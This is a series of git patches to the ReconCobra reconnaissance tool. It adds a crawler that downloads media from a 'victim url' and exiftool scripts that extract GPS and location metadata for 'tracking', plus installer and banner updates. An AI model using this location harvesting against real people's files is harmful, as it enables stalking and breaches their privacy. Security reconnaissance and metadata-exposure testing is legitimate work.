json-describe cargo build From 49a78c0a8f38e0f2e517456dfd86414eb3cd27a6 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 24 Jun 2019 02:32:39 +0500 Subject: [PATCH 143/272] Update installer.sh --- installer.sh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/installer.sh b/installer.sh index b68b843..f761699 100644 --- a/installer.sh +++ b/installer.sh @@ -113,6 +113,9 @@ cd .. echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git echo "y" | git clone https://github.com/exiftool/exiftool.git echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git +cd LinkFinder +python setup.py install +cd .. echo "y" | git clone https://github.com/sensepost/BiLE-suite.git echo "y" | git clone https://github.com/haroonawanofficial/vasl.git echo "y" | git clone https://github.com/haroonawanofficial/panthera.git From 2d0a457f4c36f595cc1c7ec6a9be18eacff231a6 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 24 Jun 2019 02:33:02 +0500 Subject: [PATCH 144/272] Update termuxinstaller.sh --- termuxinstaller.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/termuxinstaller.sh b/termuxinstaller.sh index fbb9454..0c320f2 100644 --- a/termuxinstaller.sh +++ b/termuxinstaller.sh @@ -84,6 +84,7 @@ echo "y" | git clone https://github.com/sensepost/BiLE-suite.git echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git cd LinkFinder python setup.py install +cd .. echo "y" | git clone https://github.com/heycam/json-describe cd json-describe cargo build From b940941bf7d2c5e46b5c91dbaedc747af4b93e2c Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 26 Jun 2019 15:08:10 +0500 Subject: [PATCH 145/272] Update ReconCobra.pl --- ReconCobra.pl | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 5917454..dda395c 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -653,7 +653,10 @@ sub banner { print color('bold red on_black')," Info ";print color('reset'),"";print color('bold white')," version 1.9a, [Coded By: Haroon Awan]\n"; print color('reset'); -print color('bold red on_blue')," Mail ";print color('reset'),"";print color('bold red')," mrharoonawan\@gmail.com\n"; +print color('bold white on_bright_red')," Mail ";print color('reset'),"";print color('bright_blue')," mrharoonawan\@gmail.com\n"; +print color('reset'); + +print color('bold red on_blue')," Homepage ";print color('reset'),"";print color('bold red')," http://www.instagram.com/\Hacker_Universe\n"; print color('reset'); print color('bold yellow on_red')," Official Web ";print color('reset'),"";print color('bold yellow')," http://www.mubassirkamdar.com\n"; @@ -662,7 +665,7 @@ sub banner { print color('bold green on_black')," Facebook ";print color('reset'),"";print color('bold green')," fb.com\\Mubassir.py\n"; print color('reset'); -print color('bold white on_blue')," Instagram ";print color('reset'),"";print color('bold white')," http://www.instagram.com/\Hacker_Universe\n"; +print color('bold white on_blue')," Instagram ";print color('reset'),"";print color('bold white')," http://www.instagram.com/\hackerfromscratch\n"; print color('reset'); From 7b274e7144f4d2ee3c144bda3d01752ca238688a Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 27 Jun 2019 18:04:42 +0500 Subject: [PATCH 146/272] Add files via upload --- cobc.sh | 29 +++++++++++++++++++++++++++++ cobd.sh | 12 ++++++++++++ cobe.sh | 11 +++++++++++ 3 files changed, 52 insertions(+) create mode 100644 cobc.sh create mode 100644 cobd.sh create mode 100644 cobe.sh diff --git a/cobc.sh b/cobc.sh new file mode 100644 index 0000000..85fcc17 --- /dev/null +++ b/cobc.sh @@ -0,0 +1,29 @@ +#!/bin/bash +YELLOW="\033[1;33m" +ENDCOLOR="\033[0m" +clear +echo -e +echo -e $YELLOW"[ + ] Downloading [ + ]"$ENDCOLOR +echo "1. Crawling for files for Location and GPS co-ordinates related files" +echo "" + +echo "[ + ] Enter TERMUX option for Termux else press RETURN :" +read $first + +if [ "$first" == 'TERMUX' ] + +then + +read -p "[ + ] Enter victim url in absolute format: " victim +echo "$victim" +cd geotagging_crawler +python cobra_geotagging_crawler.py --wait=2 --download $victim + +else + +read -p "[ + ] Enter victim url: " victim +echo "$victim" +cd geotagging_crawler +python3 cobra_geotagging_crawler.py --wait=2 --download $victim + +fi diff --git a/cobd.sh b/cobd.sh new file mode 100644 index 0000000..43b1b20 --- /dev/null +++ b/cobd.sh @@ -0,0 +1,12 @@ +#!/bin/bash +YELLOW="\033[1;33m" +ENDCOLOR="\033[0m" +clear +echo -e +echo -e $YELLOW"[ + ] Points [ + ]"$ENDCOLOR +echo "1. Extracting all GPS data" +echo "" +cd exiftool +mkdir geotagging_crawler +./exiftool ../geotagging_crawler/* | awk '/Gps|GPS|gps/{ print $0 }' > ../geotagging_crawler/filesgpsinformation.txt + diff --git a/cobe.sh b/cobe.sh new file mode 100644 index 0000000..bea43bf --- /dev/null +++ b/cobe.sh @@ -0,0 +1,11 @@ +#!/bin/bash +YELLOW="\033[1;33m" +ENDCOLOR="\033[0m" +clear +echo -e +echo -e $YELLOW"[ + ] Points [ + ]"$ENDCOLOR +echo "1. Extracting all Location" +echo "" +cd exiftool +mkdir geotagging_crawler +./exiftool -w filelocationsinformation.txt -location:all ../geotagging_crawler/* From 4e1baeccfb5c4dbf1ca5400adb9efb057ca5e4dd Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 27 Jun 2019 18:10:57 +0500 Subject: [PATCH 147/272] Add files via upload --- ReconCobra.pl | 60 ++++++++++++++++++++++++++++++++++++++++++++- ReconCobraTermux.pl | 60 ++++++++++++++++++++++++++++++++++++++++++++- 2 files changed, 118 insertions(+), 2 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index dda395c..edbbcfd 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -121,6 +121,7 @@ "an|cors=s" => \$cors, "ao|wayback=s" => \$wayback, "ap|linkfinder=s" => \$linkfinder, + "aq|geotagging=s" => \$geotagging, ); if ($help) { banner();help(); } @@ -193,7 +194,8 @@ if ($endpoints) { banner();endpoints(); } if ($cors) { banner();cors(); } if ($wayback) { banner();wayback(); } -if ($wayback) { banner();linkfinder(); } +if ($linkfinder) { banner();linkfinder(); } +if ($geotagging) { banner();geotagging(); } unless (@ARGV > 1) { banner();menu(); } @@ -630,6 +632,12 @@ sub help { print color("bold white"),"reconcobra -ao site.com"; print color('bold cyan')," # \n",line_d(); + print color('bold cyan'),"# "; + print item('71'),"Geotagging "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -aq site.com"; + print color('bold cyan')," # \n",line_d(); + } @@ -749,6 +757,7 @@ sub menu { print color('bold cyan'),"# ";print color('reset'),item('68'),"Check misconfigured Cross Origin Resource Sharing ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('69'),"Wayback Web Downloader ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('70'),"JS Find Link & Analyse ( local and remote ) ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('71'),"Extract Geo-Cordinates for Tracking ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nC0bra: _> "; print color('reset'); @@ -1371,6 +1380,14 @@ sub menu { print "\n"; linkfinder(); enter(); + }if($number eq '71'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + geotagging(); + enter(); } if($number eq '0'){ exit; @@ -3216,6 +3233,47 @@ () } +#--------------------------------------------------------------# +#71 Goe-Cordinates Tracking # +#--------------------------------------------------------------# +sub geotagging() { + print item(),"Caution: Option 2 and 3 requires all audio and video files into geotagging_crawler folder\n"; + print item(),"1 - Crawl and download all GPS and Location related files\n"; + print item(),"2 - Extract GPS cordintes from local audio and video files\n"; + print item(),"3 - Extract Location cordinates from local audio and video files\n"; + print item(),"Enter Option: "; + chomp($enter=); + if ($enter =~1) { + if (system("/usr/share/ReconCobra/cobc.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in geotagging_crawler folder\n"; + } + else { + print item(),"Make cobc.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + if ($enter =~2) { + if (system("/usr/share/ReconCobra/cobd.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in geotagging_crawler folder\n"; + } + else { + print item(),"Make cobc.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + if ($enter =~3) { + if (system("/usr/share/ReconCobra/cobe.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in geotagging_crawler folder\n"; + } + else { + print item(),"Make cobc.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} +} #--------------------------------------------------------------# diff --git a/ReconCobraTermux.pl b/ReconCobraTermux.pl index e3dd19f..d65d360 100644 --- a/ReconCobraTermux.pl +++ b/ReconCobraTermux.pl @@ -121,6 +121,7 @@ "an|cors=s" => \$cors, "ao|wayback=s" => \$wayback, "ap|linkfinder=s" => \$linkfinder, + "aq|geotagging=s" => \$geotagging, ); if ($help) { banner();help(); } @@ -193,7 +194,8 @@ if ($endpoints) { banner();endpoints(); } if ($cors) { banner();cors(); } if ($wayback) { banner();wayback(); } -if ($wayback) { banner();linkfinder(); } +if ($linkfinder) { banner();linkfinder(); } +if ($geotagging) { banner();geotagging(); } unless (@ARGV > 1) { banner();menu(); } @@ -630,6 +632,12 @@ sub help { print color("bold white"),"reconcobra -ao site.com"; print color('bold cyan')," # \n",line_d(); + print color('bold cyan'),"# "; + print item('71'),"Geotagging "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -aq site.com"; + print color('bold cyan')," # \n",line_d(); + } @@ -746,6 +754,7 @@ sub menu { print color('bold cyan'),"# ";print color('reset'),item('68'),"Check misconfigured Cross Origin Resource Sharing ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('69'),"Wayback Web Downloader ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('70'),"JS Find Link & Analyse ( local and remote ) ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('71'),"Extract Geo-Cordinates for Tracking ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nC0bra: _> "; print color('reset'); @@ -1368,6 +1377,14 @@ sub menu { print "\n"; linkfinder(); enter(); + }if($number eq '71'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + geotagging(); + enter(); } if($number eq '0'){ exit; @@ -3213,6 +3230,47 @@ () } +#--------------------------------------------------------------# +#71 Goe-Cordinates Tracking # +#--------------------------------------------------------------# +sub geotagging() { + print item(),"Caution: Option 2 and 3 requires all audio and video files into geotagging_crawler folder\n"; + print item(),"1 - Crawl and download all GPS and Location related files\n"; + print item(),"2 - Extract GPS cordintes from local audio and video files\n"; + print item(),"3 - Extract Location cordinates from local audio and video files\n"; + print item(),"Enter Option: "; + chomp($enter=); + if ($enter =~1) { + if (system("./cobc.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in geotagging_crawler folder\n"; + } + else { + print item(),"Make cobc.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + if ($enter =~2) { + if (system("./cobd.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in geotagging_crawler folder\n"; + } + else { + print item(),"Make cobc.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + if ($enter =~3) { + if (system("./cobe.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in geotagging_crawler folder\n"; + } + else { + print item(),"Make cobc.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} +} #--------------------------------------------------------------# From ec31e045999c302fa50479e5286afae5f5ec85f8 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 27 Jun 2019 18:13:41 +0500 Subject: [PATCH 148/272] Add files via upload --- installer.sh | 5 ++--- termuxinstaller.sh | 5 +++-- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/installer.sh b/installer.sh index f761699..fdcd3ed 100644 --- a/installer.sh +++ b/installer.sh @@ -100,6 +100,8 @@ echo "y" | apt-get install hping3 echo "y" | apt-get install python3 echo "y" | apt-get install golang echo "y" | apt-get install curl +echo "y" | apt-get install nfs-common +echo "y" | apt-get install smbclient echo "y" | apt-get install gem gem install wayback_machine_downloader echo "y" | apt-get install perl-LWP-Protocol-https @@ -113,9 +115,6 @@ cd .. echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git echo "y" | git clone https://github.com/exiftool/exiftool.git echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git -cd LinkFinder -python setup.py install -cd .. echo "y" | git clone https://github.com/sensepost/BiLE-suite.git echo "y" | git clone https://github.com/haroonawanofficial/vasl.git echo "y" | git clone https://github.com/haroonawanofficial/panthera.git diff --git a/termuxinstaller.sh b/termuxinstaller.sh index 0c320f2..bc9e363 100644 --- a/termuxinstaller.sh +++ b/termuxinstaller.sh @@ -67,6 +67,8 @@ echo "y" | apt-get install hping3 echo "y" | apt-get install python echo "y" | apt-get install golang echo "y" | apt-get install curl +echo "y" | apt-get install nfs-common +echo "y" | apt-get install smbclient echo "y" | apt-get install cargo echo "y" | apt-get install gem gem install wayback_machine_downloader @@ -84,7 +86,6 @@ echo "y" | git clone https://github.com/sensepost/BiLE-suite.git echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git cd LinkFinder python setup.py install -cd .. echo "y" | git clone https://github.com/heycam/json-describe cd json-describe cargo build @@ -110,4 +111,4 @@ cd .. cd .. chmod u+x *.sh -echo -e "Installed, run perl ReconCobratermux.pl for interface!"; +echo -e "Installed, run perl ReconCobratermux.pl for interface!"; \ No newline at end of file From d8bc7457b4628458549537e6f820c8a5504bbdde Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 27 Jun 2019 18:30:11 +0500 Subject: [PATCH 149/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 0e68f12..63f875c 100644 --- a/README.md +++ b/README.md @@ -19,7 +19,7 @@ EULA
- +
# In-Action From 8efcad6fb98d542d45c31d0983a7eb65c1b71a20 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 27 Jun 2019 18:30:34 +0500 Subject: [PATCH 150/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 63f875c..ee8c0a0 100644 --- a/README.md +++ b/README.md @@ -19,7 +19,7 @@ EULA
- +
# In-Action From aea901977710035143ac946299aae7e1b77fc514 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 27 Jun 2019 18:31:05 +0500 Subject: [PATCH 151/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ee8c0a0..6cb2656 100644 --- a/README.md +++ b/README.md @@ -9,7 +9,7 @@ EULA - Runs on Termux # Kali Interface -- Software have 70 Options with full automation and powerful information gathering +- Software have 71 Options with full automation and powerful information gathering
From 27f4488a8e74946ebf48c18cc98bc03b4e215515 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 27 Jun 2019 18:33:33 +0500 Subject: [PATCH 152/272] Update ReconCobra.pl --- ReconCobra.pl | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index edbbcfd..86a3be2 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -3259,7 +3259,7 @@ () print item(),"Results are saved in geotagging_crawler folder\n"; } else { - print item(),"Make cobc.sh available in same folder\n"; + print item(),"Make cobd.sh available in same folder\n"; print item(),"Command failed\n"; } } @@ -3269,7 +3269,7 @@ () print item(),"Results are saved in geotagging_crawler folder\n"; } else { - print item(),"Make cobc.sh available in same folder\n"; + print item(),"Make cobe.sh available in same folder\n"; print item(),"Command failed\n"; } } From f2ba97d791cc5bdd1dca321179b8a1a56141d694 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 27 Jun 2019 18:34:12 +0500 Subject: [PATCH 153/272] Update ReconCobraTermux.pl --- ReconCobraTermux.pl | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ReconCobraTermux.pl b/ReconCobraTermux.pl index d65d360..63c4a26 100644 --- a/ReconCobraTermux.pl +++ b/ReconCobraTermux.pl @@ -3256,7 +3256,7 @@ () print item(),"Results are saved in geotagging_crawler folder\n"; } else { - print item(),"Make cobc.sh available in same folder\n"; + print item(),"Make cobd.sh available in same folder\n"; print item(),"Command failed\n"; } } @@ -3266,7 +3266,7 @@ () print item(),"Results are saved in geotagging_crawler folder\n"; } else { - print item(),"Make cobc.sh available in same folder\n"; + print item(),"Make cobe.sh available in same folder\n"; print item(),"Command failed\n"; } } From 9b817bcadd0d6ff290e85c7a617893c4f0f62f6a Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 27 Jun 2019 18:48:00 +0500 Subject: [PATCH 154/272] Create cobra_geotagging_crawler.py --- .../cobra_geotagging_crawler.py | 208 ++++++++++++++++++ 1 file changed, 208 insertions(+) create mode 100644 geotagging_crawler/cobra_geotagging_crawler.py diff --git a/geotagging_crawler/cobra_geotagging_crawler.py b/geotagging_crawler/cobra_geotagging_crawler.py new file mode 100644 index 0000000..3ba26f9 --- /dev/null +++ b/geotagging_crawler/cobra_geotagging_crawler.py @@ -0,0 +1,208 @@ +# *************************************************************************************** # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# Agreement between "Haroon Awan" and "You"(user). # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# 1. By using this piece of software your bound to these point. # +# 2. This an End User License Agreement (EULA) is a legal between a software application # +# author "Haroon Awan" and (YOU) user of this software. # +# 3. This software application grants users rights to use for any purpose or modify and # +# redistribute creative works. # +# 4. This software comes in "is-as" warranty, author "Haroon Awan" take no responsbility # +# what you do with by/this software as your free to use this software. # +# 5. Any other purpose(s) that it suites as long as it is not related to any kind of # +# crime or using it in un-authorized environment. # +# 6. You can use this software to protect and secure your data information in any # +# environment. # +# 7. It can also be used in state of being protection against the unauthorized use of # +# information. # +# 8. It can be used to take measures achieve protection. # +# *************************************************************************************** # + + +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# Name: cobra.py +# Original Author: Simon Descarpentries +# Modified By: Haroon Awan +# Licence: EULA + +import argparse, os, sys, threading +from sys import argv, stderr +from random import randint +from time import sleep +from urllib.parse import urljoin +import requests, re, yaml, datetime + +cmd = "clear" +returned_value = os.system(cmd) +sys.stdout.write("\033[1;37m") + +print ("""\ + + _.--.... + _....---;:'::' ^__/ + .' `'`___....---=-'` + /::' (` + \' `:. + `\::. ';-"":::-._ {} + _.--'`\:' .'`-.`'`.' `{I} + .-' `' .;;`\::. '. _: {-I}`\\ + .' .:. `:: _)::: _;' `{=I}.:|| + /. ::::`":::` ':'.-'`':. {_I}::// + |:. ':' ::::: .':'`:. `'|':||:' + \: .:. ''' .:| .:, _:./':.| + jgs '--.:::...---'\:'.:`':`':./ + '-::..:::-' + + +# ------------ -------- ----------- ----------- ------ +# ************ ********** *********** *********** ******** +# --- ---- ---- ---- ** ---- --- ---------- +# *** *** *** *********** ********* **** **** +# --- --- --- ----------- --------- ------------ +# *** **** **** **** ** **** **** ************ +# ------------ ---------- ----------- ---- ---- ---- ---- +# ************ ******** *********** **** **** **** **** +# crawler for metadata v1.0a + +[ Syntax ] +python3 cobra.py --wait=2 --download https://www.victim.com +""") + + +__all__ = ['boss', 'download_files', 'download_file', 'run_cmd'] + +WANTED_EXT = '\.(3gp?|mp4?|m4a?|aac?|ts?|swf?|ico?|gif?|png?|jpe?g|h26.|avi?|m.v?|flac?|gsm?|mid?|xmf?|mxmf?|rtttl?|rtx?|ota?|imy?|mp3?|mkv?|wav?|ogg?|mkv?|webm?|mkv?|webm?|bmp?|gi?|jpeg?|png?|webp?|heic?|heif?|gif?)$' +BIN_EXT = re.compile( + '\.?(3gp?|mp4?|m4a?|aac?|ts?|swf?|ico?|gif?|png?|jpe?g|h26.|avi?|m.v?|flac?|gsm?|mid?|xmf?|mxmf?|rtttl?|rtx?|ota?|imy?|mp3?|mkv?|wav?|ogg?|mkv?|webm?|mkv?|webm?|bmp?|gi?|jpeg?|png?|webp?|heic?|heif?|gif?)$', re.I) +RE_FIND_LINKS = re.compile('(href|src)="(.*?)"|url\("?\'?(.*?)\'?"?\)', re.I) +RE_REL_LINK = re.compile('^https?://', re.I) +RE_CONTENT_TYPE = re.compile('text/(html|css)', re.I) + +def run_cmd(argv): + regext = WANTED_EXT + do_dl = False + do_journal = False + do_wait = 5 + do_random_wait = True + single_page = False + + for i, arg in enumerate(argv): + if i == 0: # 1st arg of argv is the program name + continue + elif arg == '--download': + do_dl = True + elif arg.startswith('--wait'): + do_wait = int(arg[len('--wait='):]) + elif arg.startswith('http'): + continue + elif arg == '--download-file': + if len(argv) < 3: + raise SystemExit("Argument missing, check usage\n") + else: + download_file(argv[-1], do_wait, do_random_wait) + raise SystemExit + elif arg == '--download-files': + if len(argv) < 3: + raise SystemExit("Argument missing, check usage\n") + else: + download_files(argv[-1], do_wait, do_random_wait) + raise SystemExit + elif arg.startswith('--test'): + import doctest + doctest.run_docstring_examples(globals()[arg[len('--test='):]], globals()) + raise SystemExit() + else: + raise SystemExit("Invalid argument "+arg+"\n") + + if len(argv) < 2: + raise SystemExit("") + + boss(argv[-1], re.compile(regext, re.I), do_dl, do_journal, single_page) + + + + +def boss(base_url, wanted_ext=WANTED_EXT, do_dl=False, do_journal=False, + do_wait=False, do_random_wait=False, single_page=False): + journal = 0 + + if do_journal: +# logging.config.dictConfig(yaml.load(LOGGING)) + journal = logging.getLogger('journal') + found_pages_list = [base_url] + found_pages_set = set(found_pages_list) + regurgited_pages = set() + caught_docs = set() + for page_url in found_pages_list: + do_wait and controlled_sleep(do_wait, do_random_wait) + do_journal and journal.info("tries page " + page_url) + try: + page = requests.get(page_url, stream=True) + except Exception as e: + do_journal and journal.error(e) + stderr(e) + continue + if (page.status_code == requests.codes.ok and + RE_CONTENT_TYPE.search(page.headers['content-type'])): + found_pages_list, found_pages_set, regurgited_pages, caught_docs = explore_page( + base_url, page_url, str(page.content), wanted_ext, journal, do_dl, + found_pages_list, found_pages_set, regurgited_pages, caught_docs) + page.close() + if single_page: + break + if do_journal: + journal.info("found %d pages, %d doc(s)" % (len(found_pages_set), len(caught_docs))) + + +def explore_page(base_url, page_url, page_str, wanted_ext, journal, do_dl, + found_pages_list, found_pages_set, regurgited_pages, caught_docs): + # extract links + for a_href in RE_FIND_LINKS.finditer(page_str): + a_href = a_href.group(a_href.lastindex) + if not RE_REL_LINK.search(a_href): # if it's a relative link + a_href = urljoin(page_url, a_href) + if wanted_ext.search(a_href) and a_href not in caught_docs: # wanted doc ? + caught_docs.add(a_href) + do_dl and download_file(a_href) or print(a_href) + elif base_url in a_href and not BIN_EXT.search(a_href): # next page ? + if a_href not in found_pages_set: + journal and journal.info("will explore "+a_href) + found_pages_list.append(a_href) + found_pages_set.add(a_href) + elif a_href not in regurgited_pages: # junk link ? + journal and journal.debug("regurgited link "+a_href) + regurgited_pages.add(a_href) + return found_pages_list, found_pages_set, regurgited_pages, caught_docs + + +def controlled_sleep(seconds=1, do_random_wait=False): + sleep(randint(1, seconds) if do_random_wait else seconds) + + +def download_file(URL, do_wait=False, do_random_wait=False): + do_wait and controlled_sleep(do_wait, do_random_wait) + with open(URL.split('/')[-1], 'wb') as f: + f.write(requests.get(URL, stream=True).content) + + +def download_files(URLs_file, do_wait=False, do_random_wait=False): + line_nb = 0 + downloaded_files = 0 + with open(URLs_file) as f: + for line in f: + line = line.rstrip('\n') + if line is '': + continue + line_nb += 1 + print('download %d - %s' % (line_nb, line)) + try: + download_file(line, do_wait, do_random_wait) + downloaded_files += 1 + except Exception as e: + stderr(e) + print('downloaded %d / %d' % (downloaded_files, line_nb)) + + +if __name__ == '__main__': + run_cmd(argv) From 11029677b8af375f74f8ef8ffb7f5490c7c8304e Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 27 Jun 2019 23:27:01 +0500 Subject: [PATCH 155/272] Update ReconCobra.pl --- ReconCobra.pl | 1 + 1 file changed, 1 insertion(+) diff --git a/ReconCobra.pl b/ReconCobra.pl index 86a3be2..c6e2ce0 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -3237,6 +3237,7 @@ () #71 Goe-Cordinates Tracking # #--------------------------------------------------------------# sub geotagging() { + print item(),"Caution: This works only if files have enabled GPS by default\n"; print item(),"Caution: Option 2 and 3 requires all audio and video files into geotagging_crawler folder\n"; print item(),"1 - Crawl and download all GPS and Location related files\n"; print item(),"2 - Extract GPS cordintes from local audio and video files\n"; From 1bd2e4b7f42a86ea9e733b0df451515918a9bffc Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 27 Jun 2019 23:27:41 +0500 Subject: [PATCH 156/272] Update ReconCobraTermux.pl --- ReconCobraTermux.pl | 1 + 1 file changed, 1 insertion(+) diff --git a/ReconCobraTermux.pl b/ReconCobraTermux.pl index 63c4a26..82dd039 100644 --- a/ReconCobraTermux.pl +++ b/ReconCobraTermux.pl @@ -3234,6 +3234,7 @@ () #71 Goe-Cordinates Tracking # #--------------------------------------------------------------# sub geotagging() { + print item(),"Caution: This works only if files have enabled GPS by default\n"; print item(),"Caution: Option 2 and 3 requires all audio and video files into geotagging_crawler folder\n"; print item(),"1 - Crawl and download all GPS and Location related files\n"; print item(),"2 - Extract GPS cordintes from local audio and video files\n"; From 778f9a8188cea1b627815ab8ee5904edbf91893d Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 27 Jun 2019 23:29:46 +0500 Subject: [PATCH 157/272] Update ReconCobraTermux.pl --- ReconCobraTermux.pl | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/ReconCobraTermux.pl b/ReconCobraTermux.pl index 82dd039..0a1a794 100644 --- a/ReconCobraTermux.pl +++ b/ReconCobraTermux.pl @@ -3235,10 +3235,11 @@ () #--------------------------------------------------------------# sub geotagging() { print item(),"Caution: This works only if files have enabled GPS by default\n"; - print item(),"Caution: Option 2 and 3 requires all audio and video files into geotagging_crawler folder\n"; + print item(),"Caution: Files that are any type of pictures, audio and video will work\n"; + print item(),"Caution: Option 2 and 3 requires all files into geotagging_crawler folder\n"; print item(),"1 - Crawl and download all GPS and Location related files\n"; - print item(),"2 - Extract GPS cordintes from local audio and video files\n"; - print item(),"3 - Extract Location cordinates from local audio and video files\n"; + print item(),"2 - Extract GPS cordintes from local files\n"; + print item(),"3 - Extract Location cordinates from local files\n"; print item(),"Enter Option: "; chomp($enter=); if ($enter =~1) { From b27b92854fba4197a3be5d9454cbe10eefbef4b5 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 27 Jun 2019 23:30:24 +0500 Subject: [PATCH 158/272] Update ReconCobra.pl --- ReconCobra.pl | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index c6e2ce0..c706799 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -3238,7 +3238,8 @@ () #--------------------------------------------------------------# sub geotagging() { print item(),"Caution: This works only if files have enabled GPS by default\n"; - print item(),"Caution: Option 2 and 3 requires all audio and video files into geotagging_crawler folder\n"; + print item(),"Caution: Files that are any type of pictures, audio and video will work\n"; + print item(),"Caution: Option 2 and 3 requires all files into geotagging_crawler folder\n"; print item(),"1 - Crawl and download all GPS and Location related files\n"; print item(),"2 - Extract GPS cordintes from local audio and video files\n"; print item(),"3 - Extract Location cordinates from local audio and video files\n"; From dc7a0d9af3b32a6ae013aa4df674948a184d32a2 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 27 Jun 2019 23:31:18 +0500 Subject: [PATCH 159/272] Update ReconCobra.pl --- ReconCobra.pl | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index c706799..a34e480 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -3241,8 +3241,8 @@ () print item(),"Caution: Files that are any type of pictures, audio and video will work\n"; print item(),"Caution: Option 2 and 3 requires all files into geotagging_crawler folder\n"; print item(),"1 - Crawl and download all GPS and Location related files\n"; - print item(),"2 - Extract GPS cordintes from local audio and video files\n"; - print item(),"3 - Extract Location cordinates from local audio and video files\n"; + print item(),"2 - Extract GPS cordintes from local files\n"; + print item(),"3 - Extract Location cordinates from local files\n"; print item(),"Enter Option: "; chomp($enter=); if ($enter =~1) { 